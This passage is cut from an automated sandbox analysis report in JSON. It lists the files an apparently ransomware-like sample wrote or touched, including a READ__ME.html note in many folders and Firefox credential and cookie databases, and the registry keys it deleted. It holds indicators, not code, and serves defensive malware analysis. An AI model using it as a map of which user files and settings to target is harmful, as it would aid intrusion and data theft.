","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\XjhA7gYLHhBHyEci.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\xl1sapqRRaB.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\xN1K.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\xqFng.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\xqjUvzokp0.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\XQO1VUYEm.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\XUPgjfK.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\XXbWeI8CpUF.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\yFnr9fhc0gH7l.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\YGnYe5jfaKyuFM8.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\yZw6snqBQ28DAzu.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ZCGDiOyLTL0HsH.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\zElI.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ziJe5sSQm2.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\zlWDS7D.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\zqpeyi.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\zs7Ri62mzFGSx.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\ZVaaZwpMDt.avi","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Documents\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Office\\MSO1033.acl","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\Calculator.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\MineSweeper.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\Paint.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\Sticky Notes.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop\\Windows Media Player.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Contacts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Contacts\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Wireshark\\recent","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Wireshark\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Wireshark\\recent_common","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\profiles.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\addons.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\blocklist.xml","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\cert8.db","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\compatibility.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\content-prefs.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\cookies.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\extensions.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\extensions.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\formhistory.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\healthreport.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\key3.db","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\mimeTypes.rdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\parent.lock","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\permissions.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\places.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\places.sqlite-shm","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\places.sqlite-wal","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\pluginreg.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\prefs.js","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\search.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\secmod.db","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\sessionCheckpoints.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\sessionstore.js","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\SiteSecurityServiceState.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\Telemetry.FailedProfileLocks.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\times.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\user.js","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\webappsstore.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\xulstore.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\webapps\\webapps.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\webapps\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\storage\\persistent\\moz-safe-about+home\\.metadata","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\storage\\persistent\\moz-safe-about+home\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\storage\\persistent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\storage\\persistent\\moz-safe-about+home\\idb\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\sessionstore-backups\\previous.js","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\sessionstore-backups\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\sessionstore-backups\\upgrade.js-20150122214805","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\healthreport\\state.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\healthreport\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\gmp-gmpopenh264\\1.3\\gmpopenh264.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\gmp-gmpopenh264\\1.3\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\gmp-gmpopenh264\\1.3\\gmpopenh264.info","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\datareporting\\state.json","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\datareporting\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\crashes\\store.json.mozlz4","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\crashes\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Crash Reports\\InstallTime20150122214805","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Crash Reports\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\addressbook.acrodata","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\directories.acrodata","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\services_rdr.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\services_rdri.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\services_rdrk.dat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\CRLCache\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\JSCache\\GlobData","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\JSCache\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\JSCache\\GlobSettings","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\1570918325.cvr","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\AppPatch\\AcSpecfc.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\DWWIN.EXE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\WORDDOCPARTS\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\(K;\\(K;","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 